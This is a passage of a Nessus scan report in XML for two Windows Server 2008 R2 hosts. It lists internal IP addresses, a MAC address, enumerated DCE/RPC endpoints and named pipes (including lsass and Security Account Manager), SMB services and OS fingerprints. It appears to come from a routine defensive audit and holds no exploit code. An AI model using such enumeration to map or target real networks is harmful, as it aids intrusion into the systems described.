8456 Named pipe : \pipe\eventlog
8457 Netbios name : \\QA3APP04
8458
8459 </plugin_output>
8460 </ReportItem>
8461 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
8462 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
8463 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
8464 <fname>dcetest.nasl</fname>
8465 <plugin_modification_date>2012/01/31</plugin_modification_date>
8466 <plugin_name>DCE Services Enumeration</plugin_name>
8467 <plugin_publication_date>2001/08/26</plugin_publication_date>
8468 <plugin_type>local</plugin_type>
8469 <risk_factor>None</risk_factor>
8470 <script_version>$Revision: 1.50 $</script_version>
8471 <solution>n/a</solution>
8472 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
8473 <plugin_output>
8474 The following DCERPC services are available locally :
8475
8476 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
8477 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
8478 Description : Unknown RPC service
8479 Type : Local RPC service
8480 Named pipe : WindowsShutdown
8481
8482 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
8483 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
8484 Description : Unknown RPC service
8485 Type : Local RPC service
8486 Named pipe : WMsgKRpc07E1B0
8487
8488 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
8489 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
8490 Description : Unknown RPC service
8491 Type : Local RPC service
8492 Named pipe : WindowsShutdown
8493
8494 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
8495 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
8496 Description : Unknown RPC service
8497 Type : Local RPC service
8498 Named pipe : WMsgKRpc07E1B0
8499
8500 Object UUID : 00000000-0000-0000-0000-000000000000
8501 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
8502 Description : DHCP Client Service
8503 Windows process : svchost.exe
8504 Annotation : DHCP Client LRPC Endpoint
8505 Type : Local RPC service
8506 Named pipe : dhcpcsvc
8507
8508 Object UUID : 00000000-0000-0000-0000-000000000000
8509 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
8510 Description : DHCP Client Service
8511 Windows process : svchost.exe
8512 Annotation : DHCP Client LRPC Endpoint
8513 Type : Local RPC service
8514 Named pipe : dhcpcsvc6
8515
8516 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
8517 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
8518 Description : Unknown RPC service
8519 Type : Local RPC service
8520 Named pipe : LRPC-279a2989e923d6d6b2
8521
8522 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
8523 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
8524 Description : Unknown RPC service
8525 Type : Local RPC service
8526 Named pipe : WMsgKRpc039F511
8527
8528 Object UUID : 6d726574-7273-0076-0000-000000000000
8529 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8530 Description : Unknown RPC service
8531 Annotation : Impl friendly name
8532 Type : Local RPC service
8533 Named pipe : LRPC-e743087b6dcef271ff
8534
8535 Object UUID : c2ba80f5-cc46-40f2-a836-149986a7c331
8536 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
8537 Description : Distributed Transaction Coordinator
8538 Windows process : msdtc.exe
8539 Type : Local RPC service
8540 Named pipe : LRPC-88236b6322af838146
8541
8542 Object UUID : e8b88615-7e9d-4cce-8da6-b40bbe9f43cc
8543 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
8544 Description : Distributed Transaction Coordinator
8545 Windows process : msdtc.exe
8546 Type : Local RPC service
8547 Named pipe : LRPC-88236b6322af838146
8548
8549 Object UUID : 990fbead-10f8-4c42-becd-5a0d40b8b6d9
8550 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
8551 Description : Distributed Transaction Coordinator
8552 Windows process : msdtc.exe
8553 Type : Local RPC service
8554 Named pipe : LRPC-88236b6322af838146
8555
8556 Object UUID : c5e205a9-a5b2-4620-8bb1-d3ca9242ef89
8557 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
8558 Description : Distributed Transaction Coordinator
8559 Windows process : msdtc.exe
8560 Type : Local RPC service
8561 Named pipe : LRPC-88236b6322af838146
8562
8563 Object UUID : a580ecc1-3261-474e-818c-4ec4e026c10b
8564 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
8565 Description : Distributed Transaction Coordinator
8566 Windows process : msdtc.exe
8567 Type : Local RPC service
8568 Named pipe : OLEC433878C150A46A6AC1D0FF421AC
8569
8570 Object UUID : a580ecc1-3261-474e-818c-4ec4e026c10b
8571 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
8572 Description : Distributed Transaction Coordinator
8573 Windows process : msdtc.exe
8574 Type : Local RPC service
8575 Named pipe : LRPC-94e2c58f8e74dea10e
8576
8577 Object UUID : 00000000-0000-0000-0000-000000000000
8578 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
8579 Description : IPsec Services (Windows XP &amp; 2003)
8580 Windows process : lsass.exe
8581 Annotation : IPSec Policy agent endpoint
8582 Type : Local RPC service
8583 Named pipe : LRPC-7ba47c373c7ef2d170
8584
8585 Object UUID : 00000000-0000-0000-0000-000000000000
8586 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8587 Description : Security Account Manager
8588 Windows process : lsass.exe
8589 Type : Local RPC service
8590 Named pipe : LRPC-e194f41645a608a045
8591
8592 Object UUID : 00000000-0000-0000-0000-000000000000
8593 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8594 Description : Security Account Manager
8595 Windows process : lsass.exe
8596 Type : Local RPC service
8597 Named pipe : audit
8598
8599 Object UUID : 00000000-0000-0000-0000-000000000000
8600 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8601 Description : Security Account Manager
8602 Windows process : lsass.exe
8603 Type : Local RPC service
8604 Named pipe : securityevent
8605
8606 Object UUID : 00000000-0000-0000-0000-000000000000
8607 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8608 Description : Security Account Manager
8609 Windows process : lsass.exe
8610 Type : Local RPC service
8611 Named pipe : LSARPC_ENDPOINT
8612
8613 Object UUID : 00000000-0000-0000-0000-000000000000
8614 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8615 Description : Security Account Manager
8616 Windows process : lsass.exe
8617 Type : Local RPC service
8618 Named pipe : lsapolicylookup
8619
8620 Object UUID : 00000000-0000-0000-0000-000000000000
8621 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8622 Description : Security Account Manager
8623 Windows process : lsass.exe
8624 Type : Local RPC service
8625 Named pipe : lsasspirpc
8626
8627 Object UUID : 00000000-0000-0000-0000-000000000000
8628 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8629 Description : Security Account Manager
8630 Windows process : lsass.exe
8631 Type : Local RPC service
8632 Named pipe : protected_storage
8633
8634 Object UUID : 00000000-0000-0000-0000-000000000000
8635 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8636 Description : Security Account Manager
8637 Windows process : lsass.exe
8638 Type : Local RPC service
8639 Named pipe : dsrole
8640
8641 Object UUID : 00000000-0000-0000-0000-000000000000
8642 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
8643 Description : Security Account Manager
8644 Windows process : lsass.exe
8645 Type : Local RPC service
8646 Named pipe : samss lpc
8647
8648 Object UUID : 00000000-0000-0000-0000-000000000000
8649 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
8650 Description : Unknown RPC service
8651 Annotation : Spooler function endpoint
8652 Type : Local RPC service
8653 Named pipe : spoolss
8654
8655 Object UUID : 00000000-0000-0000-0000-000000000000
8656 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
8657 Description : Unknown RPC service
8658 Annotation : Spooler base remote object endpoint
8659 Type : Local RPC service
8660 Named pipe : spoolss
8661
8662 Object UUID : 00000000-0000-0000-0000-000000000000
8663 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
8664 Description : Unknown RPC service
8665 Annotation : Spooler function endpoint
8666 Type : Local RPC service
8667 Named pipe : spoolss
8668
8669 Object UUID : 00000000-0000-0000-0000-000000000000
8670 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
8671 Description : Unknown RPC service
8672 Annotation : Base Firewall Engine API
8673 Type : Local RPC service
8674 Named pipe : LRPC-5956bfc729832c03c1
8675
8676 Object UUID : 00000000-0000-0000-0000-000000000000
8677 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
8678 Description : Unknown RPC service
8679 Annotation : Fw APIs
8680 Type : Local RPC service
8681 Named pipe : LRPC-5956bfc729832c03c1
8682
8683 Object UUID : 00000000-0000-0000-0000-000000000000
8684 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
8685 Description : Unknown RPC service
8686 Annotation : Fw APIs
8687 Type : Local RPC service
8688 Named pipe : LRPC-5956bfc729832c03c1
8689
8690 Object UUID : 00000000-0000-0000-0000-000000000000
8691 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
8692 Description : Unknown RPC service
8693 Annotation : NSI server endpoint
8694 Type : Local RPC service
8695 Named pipe : OLE5577953DDB34401FB8D6623FEA4F
8696
8697 Object UUID : 00000000-0000-0000-0000-000000000000
8698 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
8699 Description : Unknown RPC service
8700 Annotation : NSI server endpoint
8701 Type : Local RPC service
8702 Named pipe : LRPC-3a87e48bcf0a548d47
8703
8704 Object UUID : 00000000-0000-0000-0000-000000000000
8705 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
8706 Description : Unknown RPC service
8707 Annotation : WinHttp Auto-Proxy Service
8708 Type : Local RPC service
8709 Named pipe : OLE5577953DDB34401FB8D6623FEA4F
8710
8711 Object UUID : 00000000-0000-0000-0000-000000000000
8712 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
8713 Description : Unknown RPC service
8714 Annotation : WinHttp Auto-Proxy Service
8715 Type : Local RPC service
8716 Named pipe : LRPC-3a87e48bcf0a548d47
8717
8718 Object UUID : 00000000-0000-0000-0000-000000000000
8719 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
8720 Description : Unknown RPC service
8721 Annotation : WinHttp Auto-Proxy Service
8722 Type : Local RPC service
8723 Named pipe : W32TIME_ALT
8724
8725 Object UUID : 666f7270-6c69-7365-0000-000000000000
8726 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8727 Description : Unknown RPC service
8728 Annotation : Impl friendly name
8729 Type : Local RPC service
8730 Named pipe : IUserProfile2
8731
8732 Object UUID : 6c637067-6569-746e-0000-000000000000
8733 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8734 Description : Unknown RPC service
8735 Annotation : Impl friendly name
8736 Type : Local RPC service
8737 Named pipe : IUserProfile2
8738
8739 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
8740 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
8741 Description : Unknown RPC service
8742 Type : Local RPC service
8743 Named pipe : IUserProfile2
8744
8745 Object UUID : 736e6573-0000-0000-0000-000000000000
8746 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8747 Description : Unknown RPC service
8748 Annotation : Impl friendly name
8749 Type : Local RPC service
8750 Named pipe : IUserProfile2
8751
8752 Object UUID : 736e6573-0000-0000-0000-000000000000
8753 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8754 Description : Unknown RPC service
8755 Annotation : Impl friendly name
8756 Type : Local RPC service
8757 Named pipe : OLEA2596E1D0415477D85D5A5442347
8758
8759 Object UUID : 736e6573-0000-0000-0000-000000000000
8760 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8761 Description : Unknown RPC service
8762 Annotation : Impl friendly name
8763 Type : Local RPC service
8764 Named pipe : senssvc
8765
8766 Object UUID : 00000000-0000-0000-0000-000000000000
8767 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
8768 Description : Scheduler Service
8769 Windows process : svchost.exe
8770 Type : Local RPC service
8771 Named pipe : IUserProfile2
8772
8773 Object UUID : 00000000-0000-0000-0000-000000000000
8774 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
8775 Description : Scheduler Service
8776 Windows process : svchost.exe
8777 Type : Local RPC service
8778 Named pipe : OLEA2596E1D0415477D85D5A5442347
8779
8780 Object UUID : 00000000-0000-0000-0000-000000000000
8781 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
8782 Description : Scheduler Service
8783 Windows process : svchost.exe
8784 Type : Local RPC service
8785 Named pipe : senssvc
8786
8787 Object UUID : 00000000-0000-0000-0000-000000000000
8788 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
8789 Description : Scheduler Service
8790 Windows process : svchost.exe
8791 Type : Local RPC service
8792 Named pipe : IUserProfile2
8793
8794 Object UUID : 00000000-0000-0000-0000-000000000000
8795 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
8796 Description : Scheduler Service
8797 Windows process : svchost.exe
8798 Type : Local RPC service
8799 Named pipe : OLEA2596E1D0415477D85D5A5442347
8800
8801 Object UUID : 00000000-0000-0000-0000-000000000000
8802 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
8803 Description : Scheduler Service
8804 Windows process : svchost.exe
8805 Type : Local RPC service
8806 Named pipe : senssvc
8807
8808 Object UUID : 00000000-0000-0000-0000-000000000000
8809 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
8810 Description : Scheduler Service
8811 Windows process : svchost.exe
8812 Type : Local RPC service
8813 Named pipe : IUserProfile2
8814
8815 Object UUID : 00000000-0000-0000-0000-000000000000
8816 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
8817 Description : Scheduler Service
8818 Windows process : svchost.exe
8819 Type : Local RPC service
8820 Named pipe : OLEA2596E1D0415477D85D5A5442347
8821
8822 Object UUID : 00000000-0000-0000-0000-000000000000
8823 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
8824 Description : Scheduler Service
8825 Windows process : svchost.exe
8826 Type : Local RPC service
8827 Named pipe : senssvc
8828
8829 Object UUID : 00000000-0000-0000-0000-000000000000
8830 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
8831 Description : Unknown RPC service
8832 Type : Local RPC service
8833 Named pipe : IUserProfile2
8834
8835 Object UUID : 00000000-0000-0000-0000-000000000000
8836 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
8837 Description : Unknown RPC service
8838 Type : Local RPC service
8839 Named pipe : OLEA2596E1D0415477D85D5A5442347
8840
8841 Object UUID : 00000000-0000-0000-0000-000000000000
8842 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
8843 Description : Unknown RPC service
8844 Type : Local RPC service
8845 Named pipe : senssvc
8846
8847 Object UUID : 00000000-0000-0000-0000-000000000000
8848 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
8849 Description : Unknown RPC service
8850 Annotation : IKE/Authip API
8851 Type : Local RPC service
8852 Named pipe : IUserProfile2
8853
8854 Object UUID : 00000000-0000-0000-0000-000000000000
8855 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
8856 Description : Unknown RPC service
8857 Annotation : IKE/Authip API
8858 Type : Local RPC service
8859 Named pipe : OLEA2596E1D0415477D85D5A5442347
8860
8861 Object UUID : 00000000-0000-0000-0000-000000000000
8862 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
8863 Description : Unknown RPC service
8864 Annotation : IKE/Authip API
8865 Type : Local RPC service
8866 Named pipe : senssvc
8867
8868 Object UUID : 00000000-0000-0000-0000-000000000000
8869 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
8870 Description : Unknown RPC service
8871 Annotation : IP Transition Configuration endpoint
8872 Type : Local RPC service
8873 Named pipe : IUserProfile2
8874
8875 Object UUID : 00000000-0000-0000-0000-000000000000
8876 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
8877 Description : Unknown RPC service
8878 Annotation : IP Transition Configuration endpoint
8879 Type : Local RPC service
8880 Named pipe : OLEA2596E1D0415477D85D5A5442347
8881
8882 Object UUID : 00000000-0000-0000-0000-000000000000
8883 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
8884 Description : Unknown RPC service
8885 Annotation : IP Transition Configuration endpoint
8886 Type : Local RPC service
8887 Named pipe : senssvc
8888
8889 Object UUID : 00000000-0000-0000-0000-000000000000
8890 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
8891 Description : Unknown RPC service
8892 Annotation : XactSrv service
8893 Type : Local RPC service
8894 Named pipe : IUserProfile2
8895
8896 Object UUID : 00000000-0000-0000-0000-000000000000
8897 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
8898 Description : Unknown RPC service
8899 Annotation : XactSrv service
8900 Type : Local RPC service
8901 Named pipe : OLEA2596E1D0415477D85D5A5442347
8902
8903 Object UUID : 00000000-0000-0000-0000-000000000000
8904 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
8905 Description : Unknown RPC service
8906 Annotation : XactSrv service
8907 Type : Local RPC service
8908 Named pipe : senssvc
8909
8910 Object UUID : 73736573-6f69-656e-6e76-000000000000
8911 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8912 Description : Unknown RPC service
8913 Annotation : Impl friendly name
8914 Type : Local RPC service
8915 Named pipe : IUserProfile2
8916
8917 Object UUID : 73736573-6f69-656e-6e76-000000000000
8918 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8919 Description : Unknown RPC service
8920 Annotation : Impl friendly name
8921 Type : Local RPC service
8922 Named pipe : OLEA2596E1D0415477D85D5A5442347
8923
8924 Object UUID : 73736573-6f69-656e-6e76-000000000000
8925 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
8926 Description : Unknown RPC service
8927 Annotation : Impl friendly name
8928 Type : Local RPC service
8929 Named pipe : senssvc
8930
8931 Object UUID : 00000000-0000-0000-0000-000000000000
8932 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
8933 Description : Unknown RPC service
8934 Type : Local RPC service
8935 Named pipe : IUserProfile2
8936
8937 Object UUID : 00000000-0000-0000-0000-000000000000
8938 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
8939 Description : Unknown RPC service
8940 Type : Local RPC service
8941 Named pipe : OLEA2596E1D0415477D85D5A5442347
8942
8943 Object UUID : 00000000-0000-0000-0000-000000000000
8944 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
8945 Description : Unknown RPC service
8946 Type : Local RPC service
8947 Named pipe : senssvc
8948
8949 Object UUID : 00000000-0000-0000-0000-000000000000
8950 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
8951 Description : Unknown RPC service
8952 Annotation : Event log TCPIP
8953 Type : Local RPC service
8954 Named pipe : eventlog
8955
8956 Object UUID : 00000000-0000-0000-0000-000000000000
8957 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
8958 Description : Unknown RPC service
8959 Annotation : NRP server endpoint
8960 Type : Local RPC service
8961 Named pipe : eventlog
8962
8963 Object UUID : 00000000-0000-0000-0000-000000000000
8964 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
8965 Description : Unknown RPC service
8966 Annotation : DHCPv6 Client LRPC Endpoint
8967 Type : Local RPC service
8968 Named pipe : eventlog
8969
8970 Object UUID : 00000000-0000-0000-0000-000000000000
8971 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
8972 Description : Unknown RPC service
8973 Annotation : DHCPv6 Client LRPC Endpoint
8974 Type : Local RPC service
8975 Named pipe : dhcpcsvc6
8976
8977 Object UUID : 00000000-0000-0000-0000-000000000000
8978 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
8979 Description : DHCP Client Service
8980 Windows process : svchost.exe
8981 Annotation : DHCP Client LRPC Endpoint
8982 Type : Local RPC service
8983 Named pipe : eventlog
8984
8985 </plugin_output>
8986 </ReportItem>
8987 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
8988 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
8989 <fname>cifs445.nasl</fname>
8990 <plugin_modification_date>2012/01/31</plugin_modification_date>
8991 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
8992 <plugin_publication_date>2002/06/05</plugin_publication_date>
8993 <plugin_type>remote</plugin_type>
8994 <risk_factor>None</risk_factor>
8995 <script_version>$Revision: 1.37 $</script_version>
8996 <solution>n/a</solution>
8997 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
8998 <plugin_output>
8999 An SMB server is running on this port.
9000 </plugin_output>
9001 </ReportItem>
9002 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
9003 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
9004 <fname>cifs445.nasl</fname>
9005 <plugin_modification_date>2012/01/31</plugin_modification_date>
9006 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
9007 <plugin_publication_date>2002/06/05</plugin_publication_date>
9008 <plugin_type>remote</plugin_type>
9009 <risk_factor>None</risk_factor>
9010 <script_version>$Revision: 1.37 $</script_version>
9011 <solution>n/a</solution>
9012 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
9013 <plugin_output>
9014 A CIFS server is running on this port.
9015 </plugin_output>
9016 </ReportItem>
9017 </ReportHost>
9018 <ReportHost name="qa3app03"><HostProperties>
9019 <tag name="HOST_END">Mon Jul 1 11:45:06 2013</tag>
9020 <tag name="patch-summary-total-cves">1</tag>
9021 <tag name="system-type">general-purpose</tag>
9022 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
9023 <tag name="mac-address">00:50:56:81:01:dc</tag>
9024 <tag name="traceroute-hop-1">10.31.112.23</tag>
9025 <tag name="traceroute-hop-0">172.16.138.2</tag>
9026 <tag name="host-ip">10.31.112.23</tag>
9027 <tag name="host-fqdn">qa3app03</tag>
9028 <tag name="netbios-name">QA3APP03</tag>
9029 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
9030 </HostProperties>
9031 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
9032 <description>This script displays, for each tested host, information about the scan itself :
9033
9034 - The version of the plugin set
9035 - The type of plugin feed (HomeFeed or ProfessionalFeed)
9036 - The version of the Nessus Engine
9037 - The port scanner(s) used
9038 - The port range scanned
9039 - Whether credentialed or third-party patch management checks are possible
9040 - The date of the scan
9041 - The duration of the scan
9042 - The number of hosts scanned in parallel
9043 - The number of checks done in parallel</description>
9044 <fname>scan_info.nasl</fname>
9045 <plugin_modification_date>2013/05/31</plugin_modification_date>
9046 <plugin_name>Nessus Scan Information</plugin_name>
9047 <plugin_publication_date>2005/08/26</plugin_publication_date>
9048 <plugin_type>summary</plugin_type>
9049 <risk_factor>None</risk_factor>
9050 <script_version>$Revision: 1.59 $</script_version>
9051 <solution>n/a</solution>
9052 <synopsis>Information about the Nessus scan.</synopsis>
9053 <plugin_output>Information about this scan :
9054
9055 Nessus version : 5.2.1
9056 Plugin feed version : 201306260615
9057 Type of plugin feed : HomeFeed (Non-commercial use only)
9058 Scanner IP : 172.16.138.174
9059 Port scanner(s) : nessus_syn_scanner
9060 Port range : default
9061 Thorough tests : no
9062 Experimental tests : no
9063 Paranoia level : 1
9064 Report Verbosity : 1
9065 Safe checks : yes
9066 Optimize the test : yes
9067 Credentialed checks : no
9068 Patch management checks : None
9069 CGI scanning : disabled
9070 Web application tests : disabled
9071 Max hosts : 80
9072 Max checks : 5
9073 Recv timeout : 5
9074 Backports : None
9075 Allow post-scan editing: Yes
9076 Scan Start Date : 2013/7/1 11:33
9077 Scan duration : 711 sec
9078 </plugin_output>
9079 </ReportItem>
9080 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
9081 <description>One of several ports that were previously open are now closed or unresponsive.
9082
9083 There are several possible reasons for this :
9084
9085 - The scan may have caused a service to freeze or stop running.
9086
9087 - An administrator may have stopped a particular service during the scanning process.
9088
9089 This might be an availability problem related to the following :
9090
9091 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
9092
9093 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
9094
9095 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
9096
9097 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
9098 <fname>check_ports.nasl</fname>
9099 <plugin_modification_date>2013/05/14</plugin_modification_date>
9100 <plugin_name>Open Port Re-check</plugin_name>
9101 <plugin_publication_date>2002/03/19</plugin_publication_date>
9102 <plugin_type>remote</plugin_type>
9103 <risk_factor>None</risk_factor>
9104 <script_version>$Revision: 1.41 $</script_version>
9105 <solution>- Increase checks_read_timeout and/or reduce max_checks
9106
9107 - Disable any IPS during the Nessus scan</solution>
9108 <synopsis>Previously open ports are now closed.</synopsis>
9109 <plugin_output>Port 135 was detected as being open but is now unresponsive
9110 Port 3389 was detected as being open but is now unresponsive
9111 Port 80 was detected as being open but is now unresponsive
9112 </plugin_output>
9113 </ReportItem>
9114 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
9115 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
9116 <fname>device_type.nasl</fname>
9117 <plugin_modification_date>2011/05/23</plugin_modification_date>
9118 <plugin_name>Device Type</plugin_name>
9119 <plugin_publication_date>2011/05/23</plugin_publication_date>
9120 <plugin_type>combined</plugin_type>
9121 <risk_factor>None</risk_factor>
9122 <script_version>$Revision: 1.1 $</script_version>
9123 <solution>n/a</solution>
9124 <synopsis>It is possible to guess the remote device type.</synopsis>
9125 <plugin_output>Remote device type : general-purpose
9126 Confidence level : 99
9127 </plugin_output>
9128 </ReportItem>
9129 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
9130 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
9131
9132 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
9133 <fname>cpe.nbin</fname>
9134 <plugin_modification_date>2013/05/13</plugin_modification_date>
9135 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
9136 <plugin_publication_date>2010/04/21</plugin_publication_date>
9137 <plugin_type>local</plugin_type>
9138 <risk_factor>None</risk_factor>
9139 <script_version>$Revision: 1.19 $</script_version>
9140 <see_also>http://cpe.mitre.org/</see_also>
9141 <solution>n/a</solution>
9142 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
9143 <plugin_output>
9144 The remote operating system matched the following CPE :
9145
9146 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
9147
9148 Following application CPE matched on the remote system :
9149
9150 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
9151 </plugin_output>
9152 </ReportItem>
9153 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
9154 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
9155 <fname>os_fingerprint.nasl</fname>
9156 <plugin_modification_date>2013/04/01</plugin_modification_date>
9157 <plugin_name>OS Identification</plugin_name>
9158 <plugin_publication_date>2003/12/09</plugin_publication_date>
9159 <plugin_type>combined</plugin_type>
9160 <risk_factor>None</risk_factor>
9161 <script_version>$Revision: 2.34 $</script_version>
9162 <solution>n/a</solution>
9163 <synopsis>It is possible to guess the remote operating system.</synopsis>
9164 <plugin_output>
9165 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
9166 Confidence Level : 99
9167 Method : MSRPC
9168
9169
9170 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
9171 </ReportItem>
